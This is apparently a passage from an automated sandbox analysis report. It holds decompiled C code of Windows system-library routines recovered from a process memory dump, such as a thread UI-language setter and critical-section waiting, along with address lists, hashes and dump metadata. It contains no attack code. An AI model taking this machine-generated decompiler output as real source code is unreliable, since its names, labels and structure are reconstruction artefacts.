												_t338 = E04692AE4( &_v36, _a8, _t294, _a16, _a20, _a24);
												_v32 = _t338;
												__eflags = _t338 - 0xc0000100;
												if(_t338 != 0xc0000100) {
													goto L69;
												} else {
													_t331 = 1;
													_t303 = _v36;
													goto L75;
												}
											} else {
												_t263 = E04676600( *(_t319 + 0x1c));
												__eflags = _t263;
												if(_t263 != 0) {
													goto L106;
												} else {
													_t303 = _a4;
													goto L75;
												}
											}
										} else {
											L75:
											_t338 = E04692C50(_t303, _a8, _t294, _a16, _a20, _a24, _t331);
											L76:
											_v32 = _t338;
											goto L69;
										}
									}
									goto L108;
								} else {
									E0467EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
									_v8 = 1;
									_v36 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v44 + 0x30)) + 0x10)) + 0x48));
									_t338 = _a24;
									_t270 = E04692AE4( &_v36, _a8, _t294, _a16, _a20, _t338);
									_v32 = _t270;
									__eflags = _t270 - 0xc0000100;
									if(_t270 == 0xc0000100) {
										_v32 = E04692C50(_v36, _a8, _t294, _a16, _a20, _t338, 1);
									}
									_v8 = _t331;
									E04692ACB();
								}
							}
						}
						L69:
						_v8 = 0xfffffffe;
						_t256 = _t338;
					}
					L70:
					return E046BD0D1(_t256);
				}
				L108:
			}

0x04692584
0x04692586
0x04692590
0x04692596
0x04692597
0x04692598
0x04692599
0x0469259e
0x046925a4
0x046925a9
0x046925ac
0x046925ae
0x046925b1
0x046925b2
0x046925b5
0x046925b8
0x046925bb
0x046925bc
0x046925bf
0x046925c2
0x046925c5
0x046925c6
0x046925cb
0x046925ce
0x046925d8
0x046925db
0x046925dd
0x046925de
0x046925e1
0x046925e3
0x046925e9
0x046926da
0x046926da
0x046926dd
0x046926e2
0x046d5b56
0x00000000
0x046926e8
0x046926f9
0x046926fb
0x046926fe
0x04692700
0x046d5b60
0x00000000
0x04692706
0x04692706
0x0469270a
0x0469270a
0x0469270d
0x04692713
0x04692716
0x04692718
0x0469271c
0x0469271e
0x046d5b6c
0x046d5b6f
0x046d5b7f
0x046d5b89
0x046d5b8e
0x046d5b93
0x046d5b96
0x046d5b9c
0x046d5ba0
0x046d5ba3
0x046d5bab
0x046d5bb0
0x046d5bb3
0x046d5bb3
0x046d5ba3
0x04692724
0x04692726
0x04692729
0x0469272c
0x0469279d
0x0469279d
0x046927a0
0x046927a2
0x00000000
0x0469272e
0x0469272e
0x04692731
0x04692734
0x04692734
0x04692736
0x046d5bc1
0x046d5bc1
0x046d5bc4
0x00000000
0x046d5bca
0x046d5bca
0x046d5bcd
0x00000000
0x046d5bd3
0x00000000
0x046d5bd3
0x046d5bcd
0x0469273c
0x0469273c
0x04692742
0x04692747
0x0469274a
0x0469274d
0x04692750
0x00000000
0x04692756
0x04692756
0x00000000
0x04692902
0x04692908
0x0469290b
0x00000000
0x04692911
0x0469291c
0x04692921
0x00000000
0x04692921
0x00000000
0x00000000
0x04692880
0x04692887
0x0469288c
0x00000000
0x00000000
0x04692805
0x0469280a
0x04692814
0x04692816
0x00000000
0x00000000
0x0469281e
0x04692821
0x04692823
0x00000000
0x04692829
0x04692829
0x04692831
0x0469283c
0x0469283e
0x00000000
0x0469283e
0x00000000
0x00000000
0x0469284e
0x04692850
0x04692851
0x04692854
0x04692857
0x0469285a
0x0469285c
0x0469285d
0x00000000
0x00000000
0x0469275d
0x04692761
0x00000000
0x04692767
0x0469276e
0x04692773
0x04692773
0x04692776
0x04692778
0x0469277e
0x0469277e
0x04692781
0x04692781
0x04692783
0x04692784
0x00000000
0x00000000
0x046d5bd8
0x046d5bde
0x046d5be4
0x046d5be6
0x046d5be8
0x046d5be9
0x046d5bee
0x046d5bf8
0x046d5bff
0x046d5c01
0x046d5c04
0x046d5c07
0x046d5c0b
0x046d5c0d
0x046d5c0d
0x046d5c15
0x046d5c18
0x046d5c1b
0x046d5c1b
0x046d5c1e
0x00000000
0x00000000
0x046928c3
0x046928c8
0x046928d2
0x046928d4
0x046928d8
0x046928db
0x046d5c26
0x046d5c28
0x046d5c2d
0x046d5c2d
0x00000000
0x00000000
0x046d5c34
0x046d5c36
0x046d5c49
0x046d5c4e
0x046d5c54
0x046d5c5b
0x046d5c5d
0x046d5c60
0x04692788
0x04692788
0x0469278b
0x0469278e
0x0469278e
0x0469278e
0x04692791
0x00000000
0x00000000
0x04692756
0x04692750
0x00000000
0x04692794
0x04692794
0x04692795
0x04692798
0x04692798
0x00000000
0x04692734
0x0469272c
0x04692700
0x046925ef
0x046925ef
0x046925ef
0x046925f2
0x046925f8
0x00000000
0x00000000
0x046925fe
0x00000000
0x046928e6
0x046928ec
0x046928ef
0x046928f5
0x046928f8
0x046928f8
0x00000000
0x046928f8
0x00000000
0x00000000
0x04692866
0x04692866
0x04692876
0x04692879
0x00000000
0x00000000
0x046927e0
0x046927e7
0x046927e9
0x046927eb
0x046d5afd
0x00000000
0x046d5afd
0x00000000
0x00000000
0x04692633
0x04692638
0x0469263b
0x0469263c
0x0469263e
0x04692640
0x04692642
0x04692647
0x04692649
0x0469264e
0x04692650
0x04692653
0x04692659
0x046926a2
0x046926a7
0x046926ac
0x046926b2
0x046d5b11
0x046d5b15
0x046d5b17
0x00000000
0x046926b8
0x046926b8
0x046926ba
0x046927a6
0x046927a6
0x046927a9
0x046927ab
0x046927b9
0x046927b9
0x046927be
0x046927c1
0x046927c3
0x046927c5
0x046927c7
0x046d5c74
0x046d5c79
0x046d5c79
0x046927c7
0x00000000
0x046926c0
0x046926c0
0x046926c3
0x046926c6
0x046926c6
0x046926c9
0x046926c9
0x00000000
0x046926c9
0x046926ba
0x0469265b
0x0469265b
0x0469265e
0x04692667
0x0469266d
0x04692677
0x0469267c
0x0469267f
0x04692681
0x046d5b49
0x046d5b4e
0x046927cd
0x046927d0
0x046927d1
0x046927d2
0x046927d4
0x046927dd
0x04692687
0x04692687
0x0469268a
0x0469268b
0x0469268e
0x0469268f
0x04692691
0x04692696
0x04692698
0x0469269d
0x0469269f
0x00000000
0x0469269f
0x04692681
0x00000000
0x00000000
0x04692846
0x00000000
0x00000000
0x04692605
0x0469260a
0x0469260c
0x04692611
0x04692616
0x04692619
0x04692619
0x0469261e
0x00000000
0x04692624
0x04692627
0x04692627
0x00000000
0x00000000
0x046d5b1f
0x00000000
0x00000000
0x04692894
0x0469289b
0x0469289d
0x046928a1
0x046d5b2b
0x046d5b2e
0x046d5b2e
0x046928a7
0x046928a9
0x046d5b04
0x046d5b09
0x046d5b09
0x046d5b09
0x00000000
0x00000000
0x046d5b35
0x046d5b3c
0x046928fb
0x046928fb
0x046926cc
0x046926cc
0x046926d0
0x00000000
0x046926d2
0x046926d2
0x00000000
0x046926d2
0x00000000
0x00000000
0x046925fe
0x0469292d
0x0469292f
0x04692930
0x04692935
0x0469293e
0x04692946
0x0469294e
0x0469294f
0x04692952
0x0469295a
0x0469295d
0x04692962
0x0469296a
0x0469296e
0x04692976
0x0469297b
0x0469297e
0x0469297f
0x04692980
0x04692981
0x04692982
0x04692983
0x04692984
0x04692985
0x04692986
0x04692987
0x04692988
0x04692989
0x0469298a
0x0469298b
0x0469298c
0x0469298d
0x0469298e
0x0469298f
0x04692990
0x04692992
0x04692997
0x046929a3
0x046929a6
0x046929ab
0x046929ad
0x046929b0
0x046929b2
0x046d5c80
0x046929b8
0x046929b8
0x046929bb
0x046929c0
0x046929c5
0x046929c6
0x046929c6
0x046929c9
0x046929cb
0x00000000
0x00000000
0x046929cd
0x046929d0
0x046929d9
0x046929db
0x046929dd
0x04692a7f
0x04692a84
0x04692a87
0x04692a89
0x046d5ca1
0x046d5ca3
0x00000000
0x04692a8f
0x04692a8f
0x00000000
0x04692a8f
0x00000000
0x046929e3
0x046929e3
0x046929e3
0x00000000
0x046929e3
0x046929dd
0x00000000
0x046929db
0x046929e6
0x046929e9
0x046929eb
0x046929ed
0x046929f3
0x046929f5
0x046929f8
0x046929fa
0x04692a97
0x04692a9a
0x04692a9d
0x04692add
0x00000000
0x04692a9f
0x04692aa2
0x04692aa5
0x04692aa8
0x04692aab
0x046d5cab
0x046d5caf
0x046d5cc5
0x046d5cda
0x046d5cdc
0x046d5cdf
0x046d5ce5
0x00000000
0x046d5ceb
0x046d5ced
0x046d5cee
0x00000000
0x046d5cee
0x046d5cb1
0x046d5cb4
0x046d5cb9
0x046d5cbb
0x00000000
0x046d5cbd
0x046d5cbd
0x00000000
0x046d5cbd
0x046d5cbb
0x04692ab1
0x04692ab1
0x04692ac4
0x04692ac6
0x04692ac6
0x00000000
0x04692ac6
0x04692aab
0x00000000
0x04692a00
0x04692a09
0x04692a0e
0x04692a21
0x04692a24
0x04692a35
0x04692a3a
0x04692a3d
0x04692a42
0x04692a59
0x04692a59
0x04692a5c
0x04692a5f
0x04692a5f
0x046929fa
0x046929f3
0x04692a64
0x04692a64
0x04692a6b
0x04692a6b
0x04692a6d
0x04692a72
0x04692a72
0x00000000

Strings

PATH, xrefs: 04692642, 04692691

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: PATH
API String ID: 0-1036084923
Opcode ID: c43dcafe6869d805aaf370d87c172fba5c765cf68b55988397bc4f93362357dd
Instruction ID: ab32416d2494140b8303ef0310f1fbaf0df812413afdb35a3c7f1698dbff2b6b
Opcode Fuzzy Hash: c43dcafe6869d805aaf370d87c172fba5c765cf68b55988397bc4f93362357dd
Instruction Fuzzy Hash: 1EC15AB1E00219ABDF14DF99D890AADB7F9FF48704F044469E901AB250F7B4BD52CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0469FAB0, Relevance: 1.6, Strings: 1, Instructions: 306
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E0469FAB0(void* __ebx, void* __esi, signed int _a8, signed int _a12) {
				char _v5;
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v17;
				char _v20;
				signed int _v24;
				char _v28;
				char _v32;
				signed int _v40;
				void* __ecx;
				void* __edi;
				void* __ebp;
				signed int _t73;
				intOrPtr* _t75;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				intOrPtr _t83;
				intOrPtr _t85;
				intOrPtr _t86;
				signed int _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				signed int _t114;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t123;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t134;
				signed int _t138;
				signed int _t141;
				signed int _t147;
				intOrPtr _t153;
				signed int _t154;
				signed int _t155;
				signed int _t170;
				void* _t174;
				signed int _t176;
				signed int _t177;

				_t129 = __ebx;
				_push(_t132);
				_push(__esi);
				_t174 = _t132;
				_t73 =  !( *( *(_t174 + 0x18)));
				if(_t73 >= 0) {
					L5:
					return _t73;
				} else {
					E0467EEF0(0x4757b60);
					_t134 =  *0x4757b84; // 0x77ad7b80
					_t2 = _t174 + 0x24; // 0x24
					_t75 = _t2;
					if( *_t134 != 0x4757b80) {
						_push(3);
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x4757b60);
						_t170 = _v8;
						_v28 = 0;
						_v40 = 0;
						_v24 = 0;
						_v17 = 0;
						_v32 = 0;
						__eflags = _t170 & 0xffff7cf2;
						if((_t170 & 0xffff7cf2) != 0) {
							L43:
							_t77 = 0xc000000d;
						} else {
							_t79 = _t170 & 0x0000000c;
							__eflags = _t79;
							if(_t79 != 0) {
								__eflags = _t79 - 0xc;
								if(_t79 == 0xc) {
									goto L43;
								} else {
									goto L9;
								}
							} else {
								_t170 = _t170 | 0x00000008;
								__eflags = _t170;
								L9:
								_t81 = _t170 & 0x00000300;
								__eflags = _t81 - 0x300;
								if(_t81 == 0x300) {
									goto L43;
								} else {
									_t138 = _t170 & 0x00000001;
									__eflags = _t138;
									_v24 = _t138;
									if(_t138 != 0) {
										__eflags = _t81;
										if(_t81 != 0) {
											goto L43;
										} else {
											goto L11;
										}
									} else {
										L11:
										_push(_t129);
										_t77 = E04676D90( &_v20);
										_t130 = _t77;
										__eflags = _t130;
										if(_t130 >= 0) {
											_push(_t174);
											__eflags = _t170 & 0x00000301;
											if((_t170 & 0x00000301) == 0) {
												_t176 = _a8;
												__eflags = _t176;
												if(__eflags == 0) {
													L64:
													_t83 =  *[fs:0x18];
													_t177 = 0;
													__eflags =  *(_t83 + 0xfb8);
													if( *(_t83 + 0xfb8) != 0) {
														E046776E2( *((intOrPtr*)( *[fs:0x18] + 0xfb8)));
														 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = 0;
													}
													 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = _v12;
													goto L15;
												} else {
													asm("sbb edx, edx");
													_t114 = E04708938(_t130, _t176, ( ~(_t170 & 4) & 0xffffffaf) + 0x55, _t170, _t176, __eflags);
													__eflags = _t114;
													if(_t114 < 0) {
														_push("*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!\n");
														E0466B150();
													}
													_t116 = E04706D81(_t176,  &_v16);
													__eflags = _t116;
													if(_t116 >= 0) {
														__eflags = _v16 - 2;
														if(_v16 < 2) {
															L56:
															_t118 = E046775CE(_v20, 5, 0);
															__eflags = _t118;
															if(_t118 < 0) {
																L67:
																_t130 = 0xc0000017;
																goto L32;
															} else {
																__eflags = _v12;
																if(_v12 == 0) {
																	goto L67;
																} else {
																	_t153 =  *0x4758638; // 0x26f1ac0
																	_t122 = L046738A4(_t153, _t176, _v16, _t170 | 0x00000002, 0x1a, 5,  &_v12);
																	_t154 = _v12;
																	_t130 = _t122;
																	__eflags = _t130;
																	if(_t130 >= 0) {
																		_t123 =  *(_t154 + 4) & 0x0000ffff;
																		__eflags = _t123;
																		if(_t123 != 0) {
																			_t155 = _a12;
																			__eflags = _t155;
																			if(_t155 != 0) {
																				 *_t155 = _t123;
																			}
																			goto L64;
																		} else {
																			E046776E2(_t154);
																			goto L41;
																		}
																	} else {
																		E046776E2(_t154);
																		_t177 = 0;
																		goto L18;
																	}
																}
															}
														} else {
															__eflags =  *_t176;
															if( *_t176 != 0) {
																goto L56;
															} else {
																__eflags =  *(_t176 + 2);
																if( *(_t176 + 2) == 0) {
																	goto L64;
																} else {
																	goto L56;
																}
															}
														}
													} else {
														_t130 = 0xc000000d;
														goto L32;
													}
												}
												goto L35;
											} else {
												__eflags = _a8;
												if(_a8 != 0) {
													_t77 = 0xc000000d;
												} else {
													_v5 = 1;
													L0469FCE3(_v20, _t170);
													_t177 = 0;
													__eflags = 0;
													L15:
													_t85 =  *[fs:0x18];
													__eflags =  *((intOrPtr*)(_t85 + 0xfc0)) - _t177;
													if( *((intOrPtr*)(_t85 + 0xfc0)) == _t177) {
														L18:
														__eflags = _t130;
														if(_t130 != 0) {
															goto L32;
														} else {
															__eflags = _v5 - _t130;
															if(_v5 == _t130) {
																goto L32;
															} else {
																_t86 =  *[fs:0x18];
																__eflags =  *((intOrPtr*)(_t86 + 0xfbc)) - _t177;
																if( *((intOrPtr*)(_t86 + 0xfbc)) != _t177) {
																	_t177 =  *( *( *[fs:0x18] + 0xfbc));
																}
																__eflags = _t177;
																if(_t177 == 0) {
																	L31:
																	__eflags = 0;
																	L046770F0(_t170 | 0x00000030,  &_v32, 0,  &_v28);
																	goto L32;
																} else {
																	__eflags = _v24;
																	_t91 =  *(_t177 + 0x20);
																	if(_v24 != 0) {
																		 *(_t177 + 0x20) = _t91 & 0xfffffff9;
																		goto L31;
																	} else {
																		_t141 = _t91 & 0x00000040;
																		__eflags = _t170 & 0x00000100;
																		if((_t170 & 0x00000100) == 0) {
																			__eflags = _t141;
																			if(_t141 == 0) {
																				L74:
																				_t94 = _t91 & 0xfffffffd | 0x00000004;
																				goto L27;
																			} else {
																				_t177 = E0469FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					goto L42;
																				} else {
																					_t130 = E0469FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						_t68 = _t177 + 0x20;
																						 *_t68 =  *(_t177 + 0x20) & 0xffffffbf;
																						__eflags =  *_t68;
																						_t91 =  *(_t177 + 0x20);
																						goto L74;
																					}
																				}
																			}
																			goto L35;
																		} else {
																			__eflags = _t141;
																			if(_t141 != 0) {
																				_t177 = E0469FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					L42:
																					_t77 = 0xc0000001;
																					goto L33;
																				} else {
																					_t130 = E0469FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						 *(_t177 + 0x20) =  *(_t177 + 0x20) & 0xffffffbf;
																						_t91 =  *(_t177 + 0x20);
																						goto L26;
																					}
																				}
																				goto L35;
																			} else {
																				L26:
																				_t94 = _t91 & 0xfffffffb | 0x00000002;
																				__eflags = _t94;
																				L27:
																				 *(_t177 + 0x20) = _t94;
																				__eflags = _t170 & 0x00008000;
																				if((_t170 & 0x00008000) != 0) {
																					_t95 = _a12;
																					__eflags = _t95;
																					if(_t95 != 0) {
																						_t96 =  *_t95;
																						__eflags = _t96;
																						if(_t96 != 0) {
																							 *((short*)(_t177 + 0x22)) = 0;
																							_t40 = _t177 + 0x20;
																							 *_t40 =  *(_t177 + 0x20) | _t96 << 0x00000010;
																							__eflags =  *_t40;
																						}
																					}
																				}
																				goto L31;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t147 =  *( *[fs:0x18] + 0xfc0);
														_t106 =  *(_t147 + 0x20);
														__eflags = _t106 & 0x00000040;
														if((_t106 & 0x00000040) != 0) {
															_t147 = E0469FD22(_t147);
															__eflags = _t147;
															if(_t147 == 0) {
																L41:
																_t130 = 0xc0000001;
																L32:
																_t77 = _t130;
																goto L33;
															} else {
																 *(_t147 + 0x20) =  *(_t147 + 0x20) & 0xffffffbf;
																_t106 =  *(_t147 + 0x20);
																goto L17;
															}
															goto L35;
														} else {
															L17:
															_t108 = _t106 | 0x00000080;
															__eflags = _t108;
															 *(_t147 + 0x20) = _t108;
															 *( *[fs:0x18] + 0xfc0) = _t147;
															goto L18;
														}
													}
												}
											}
											L33:
										}
									}
								}
							}
						}
						L35:
						return _t77;
					} else {
						 *_t75 = 0x4757b80;
						 *((intOrPtr*)(_t75 + 4)) = _t134;
						 *_t134 = _t75;
						 *0x4757b84 = _t75;
						_t73 = E0467EB70(_t134, 0x4757b60);
						if( *0x4757b20 != 0) {
							_t73 =  *( *[fs:0x30] + 0xc);
							if( *((char*)(_t73 + 0x28)) == 0) {
								_t73 = E0467FF60( *0x4757b20);
							}
						}
						goto L5;
					}
				}
			}

0x0469fab0
0x0469fab2
0x0469fab3
0x0469fab4
0x0469fabc
0x0469fac0
0x0469fb14
0x0469fb17
0x0469fac2
0x0469fac8
0x0469facd
0x0469fad3
0x0469fad3
0x0469fadd
0x0469fb18
0x0469fb1b
0x0469fb1d
0x0469fb1e
0x0469fb1f
0x0469fb20
0x0469fb21
0x0469fb22
0x0469fb23
0x0469fb24
0x0469fb25
0x0469fb26
0x0469fb27
0x0469fb28
0x0469fb29
0x0469fb2a
0x0469fb2b
0x0469fb2c
0x0469fb2d
0x0469fb2e
0x0469fb2f
0x0469fb3a
0x0469fb3b
0x0469fb3e
0x0469fb41
0x0469fb44
0x0469fb47
0x0469fb4a
0x0469fb4d
0x0469fb53
0x046dbdcb
0x046dbdcb
0x0469fb59
0x0469fb5b
0x0469fb5b
0x0469fb5e
0x046dbdd5
0x046dbdd8
0x00000000
0x046dbdda
0x00000000
0x046dbdda
0x0469fb64
0x0469fb64
0x0469fb64
0x0469fb67
0x0469fb6e
0x0469fb70
0x0469fb72
0x00000000
0x0469fb78
0x0469fb7a
0x0469fb7a
0x0469fb7d
0x0469fb80
0x046dbddf
0x046dbde1
0x00000000
0x046dbde3
0x00000000
0x046dbde3
0x0469fb86
0x0469fb86
0x0469fb86
0x0469fb8b
0x0469fb90
0x0469fb92
0x0469fb94
0x0469fb9a
0x0469fb9b
0x0469fba1
0x046dbde8
0x046dbdeb
0x046dbded
0x046dbeb5
0x046dbeb5
0x046dbebb
0x046dbebd
0x046dbec3
0x046dbed2
0x046dbedd
0x046dbedd
0x046dbeed
0x00000000
0x046dbdf3
0x046dbdfe
0x046dbe06
0x046dbe0b
0x046dbe0d
0x046dbe0f
0x046dbe14
0x046dbe19
0x046dbe20
0x046dbe25
0x046dbe27
0x046dbe35
0x046dbe39
0x046dbe46
0x046dbe4f
0x046dbe54
0x046dbe56
0x046dbef8
0x046dbef8
0x00000000
0x046dbe5c
0x046dbe5c
0x046dbe60
0x00000000
0x046dbe66
0x046dbe66
0x046dbe7f
0x046dbe84
0x046dbe87
0x046dbe89
0x046dbe8b
0x046dbe99
0x046dbe9d
0x046dbea0
0x046dbeac
0x046dbeaf
0x046dbeb1
0x046dbeb3
0x046dbeb3
0x00000000
0x046dbea2
0x046dbea2
0x00000000
0x046dbea2
0x046dbe8d
0x046dbe8d
0x046dbe92
0x00000000
0x046dbe92
0x046dbe8b
0x046dbe60
0x046dbe3b
0x046dbe3b
0x046dbe3e
0x00000000
0x046dbe40
0x046dbe40
0x046dbe44
0x00000000
0x00000000
0x00000000
0x00000000
0x046dbe44
0x046dbe3e
0x046dbe29
0x046dbe29
0x00000000
0x046dbe29
0x046dbe27
0x00000000
0x0469fba7
0x0469fba7
0x0469fbab
0x046dbf02
0x0469fbb1
0x0469fbb1
0x0469fbb8
0x0469fbbd
0x0469fbbd
0x0469fbbf
0x0469fbbf
0x0469fbc5
0x0469fbcb
0x0469fbf8
0x0469fbf8
0x0469fbfa
0x00000000
0x0469fc00
0x0469fc00
0x0469fc03
0x00000000
0x0469fc09
0x0469fc09
0x0469fc0f
0x0469fc15
0x0469fc23
0x0469fc23
0x0469fc25
0x0469fc27
0x0469fc75
0x0469fc7c
0x0469fc84
0x00000000
0x0469fc29
0x0469fc29
0x0469fc2d
0x0469fc30
0x046dbf0f
0x00000000
0x0469fc36
0x0469fc38
0x0469fc3b
0x0469fc41
0x046dbf17
0x046dbf19
0x046dbf48
0x046dbf4b
0x00000000
0x046dbf1b
0x046dbf22
0x046dbf24
0x046dbf26
0x00000000
0x046dbf2c
0x046dbf37
0x046dbf39
0x046dbf3b
0x00000000
0x046dbf41
0x046dbf41
0x046dbf41
0x046dbf41
0x046dbf45
0x00000000
0x046dbf45
0x046dbf3b
0x046dbf26
0x00000000
0x0469fc47
0x0469fc47
0x0469fc49
0x0469fcb2
0x0469fcb4
0x0469fcb6
0x0469fcdc
0x0469fcdc
0x00000000
0x0469fcb8
0x0469fcc3
0x0469fcc5
0x0469fcc7
0x00000000
0x0469fcc9
0x0469fcc9
0x0469fccd
0x00000000
0x0469fccd
0x0469fcc7
0x00000000
0x0469fc4b
0x0469fc4b
0x0469fc4e
0x0469fc4e
0x0469fc51
0x0469fc51
0x0469fc54
0x0469fc5a
0x0469fc5c
0x0469fc5f
0x0469fc61
0x0469fc63
0x0469fc65
0x0469fc67
0x0469fc6e
0x0469fc72
0x0469fc72
0x0469fc72
0x0469fc72
0x0469fc67
0x0469fc61
0x00000000
0x0469fc5a
0x0469fc49
0x0469fc41
0x0469fc30
0x0469fc27
0x0469fc03
0x0469fbcd
0x0469fbd3
0x0469fbd9
0x0469fbdc
0x0469fbde
0x0469fc99
0x0469fc9b
0x0469fc9d
0x0469fcd5
0x0469fcd5
0x0469fc89
0x0469fc89
0x00000000
0x0469fc9f
0x0469fc9f
0x0469fca3
0x00000000
0x0469fca3
0x00000000
0x0469fbe4
0x0469fbe4
0x0469fbe4
0x0469fbe4
0x0469fbe9
0x0469fbf2
0x00000000
0x0469fbf2
0x0469fbde
0x0469fbcb
0x0469fbab
0x0469fc8b
0x0469fc8b
0x0469fc8c
0x0469fb80
0x0469fb72
0x0469fb5e
0x0469fc8d
0x0469fc91
0x0469fadf
0x0469fadf
0x0469fae1
0x0469fae4
0x0469fae7
0x0469faec
0x0469faf8
0x0469fb00
0x0469fb07
0x0469fb0f
0x0469fb0f
0x0469fb07
0x00000000
0x0469faf8
0x0469fadd

Strings

*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 046DBE0F

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!
API String ID: 0-865735534
Opcode ID: 70d7305cd5ec17db2cddf5e179db686f7b5a4a2d3a5ea749236a987fd7c7cd85
Instruction ID: d8d40d94c5c31b16706d53675404d4f825fb3d4ccad69306c5a120f5d59af3ca
Opcode Fuzzy Hash: 70d7305cd5ec17db2cddf5e179db686f7b5a4a2d3a5ea749236a987fd7c7cd85
Instruction Fuzzy Hash: E5A1F471B00605CBEB29DF64C45076AB3E9AB58B14F06856ED906CB784FBB4FC418B90

Uniqueness

Uniqueness Score: -1.00%

Function 04662D8A, Relevance: 1.4, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E04662D8A(void* __ebx, signed char __ecx, signed int __edx, signed int __edi) {
				signed char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v52;
				void* __esi;
				void* __ebp;
				intOrPtr _t55;
				signed int _t57;
				signed int _t58;
				char* _t62;
				signed char* _t63;
				signed char* _t64;
				signed int _t67;
				signed int _t72;
				signed int _t77;
				signed int _t78;
				signed int _t88;
				intOrPtr _t89;
				signed char _t93;
				signed int _t97;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				intOrPtr _t104;
				signed int _t105;
				signed int _t106;
				signed char _t109;
				signed int _t111;
				void* _t116;

				_t102 = __edi;
				_t97 = __edx;
				_v12 = _v12 & 0x00000000;
				_t55 =  *[fs:0x18];
				_t109 = __ecx;
				_v8 = __edx;
				_t86 = 0;
				_v32 = _t55;
				_v24 = 0;
				_push(__edi);
				if(__ecx == 0x4755350) {
					_t86 = 1;
					_v24 = 1;
					 *((intOrPtr*)(_t55 + 0xf84)) = 1;
				}
				_t103 = _t102 | 0xffffffff;
				if( *0x4757bc8 != 0) {
					_push(0xc000004b);
					_push(_t103);
					E046A97C0();
				}
				if( *0x47579c4 != 0) {
					_t57 = 0;
				} else {
					_t57 = 0x47579c8;
				}
				_v16 = _t57;
				if( *((intOrPtr*)(_t109 + 0x10)) == 0) {
					_t93 = _t109;
					L23();
				}
				_t58 =  *_t109;
				if(_t58 == _t103) {
					__eflags =  *(_t109 + 0x14) & 0x01000000;
					_t58 = _t103;
					if(__eflags == 0) {
						_t93 = _t109;
						E04691624(_t86, __eflags);
						_t58 =  *_t109;
					}
				}
				_v20 = _v20 & 0x00000000;
				if(_t58 != _t103) {
					 *((intOrPtr*)(_t58 + 0x14)) =  *((intOrPtr*)(_t58 + 0x14)) + 1;
				}
				_t104 =  *((intOrPtr*)(_t109 + 0x10));
				_t88 = _v16;
				_v28 = _t104;
				L9:
				while(1) {
					if(E04687D50() != 0) {
						_t62 = ( *[fs:0x30])[0x50] + 0x228;
					} else {
						_t62 = 0x7ffe0382;
					}
					if( *_t62 != 0) {
						_t63 =  *[fs:0x30];
						__eflags = _t63[0x240] & 0x00000002;
						if((_t63[0x240] & 0x00000002) != 0) {
							_t93 = _t109;
							E046FFE87(_t93);
						}
					}
					if(_t104 != 0xffffffff) {
						_push(_t88);
						_push(0);
						_push(_t104);
						_t64 = E046A9520();
						goto L15;
					} else {
						while(1) {
							_t97 =  &_v8;
							_t64 = E0469E18B(_t109 + 4, _t97, 4, _t88, 0);
							if(_t64 == 0x102) {
								break;
							}
							_t93 =  *(_t109 + 4);
							_v8 = _t93;
							if((_t93 & 0x00000002) != 0) {
								continue;
							}
							L15:
							if(_t64 == 0x102) {
								break;
							}
							_t89 = _v24;
							if(_t64 < 0) {
								L046BDF30(_t93, _t97, _t64);
								_push(_t93);
								_t98 = _t97 | 0xffffffff;
								__eflags =  *0x4756901;
								_push(_t109);
								_v52 = _t98;
								if( *0x4756901 != 0) {
									_push(0);
									_push(1);
									_push(0);
									_push(0x100003);
									_push( &_v12);
									_t72 = E046A9980();
									__eflags = _t72;
									if(_t72 < 0) {
										_v12 = _t98 | 0xffffffff;
									}
								}
								asm("lock cmpxchg [ecx], edx");
								_t111 = 0;
								__eflags = 0;
								if(0 != 0) {
									__eflags = _v12 - 0xffffffff;
									if(_v12 != 0xffffffff) {
										_push(_v12);
										E046A95D0();
									}
								} else {
									_t111 = _v12;
								}
								return _t111;
							} else {
								if(_t89 != 0) {
									 *((intOrPtr*)(_v32 + 0xf84)) = 0;
									_t77 = E04687D50();
									__eflags = _t77;
									if(_t77 == 0) {
										_t64 = 0x7ffe0384;
									} else {
										_t64 = ( *[fs:0x30])[0x50] + 0x22a;
									}
									__eflags =  *_t64;
									if( *_t64 != 0) {
										_t64 =  *[fs:0x30];
										__eflags = _t64[0x240] & 0x00000004;
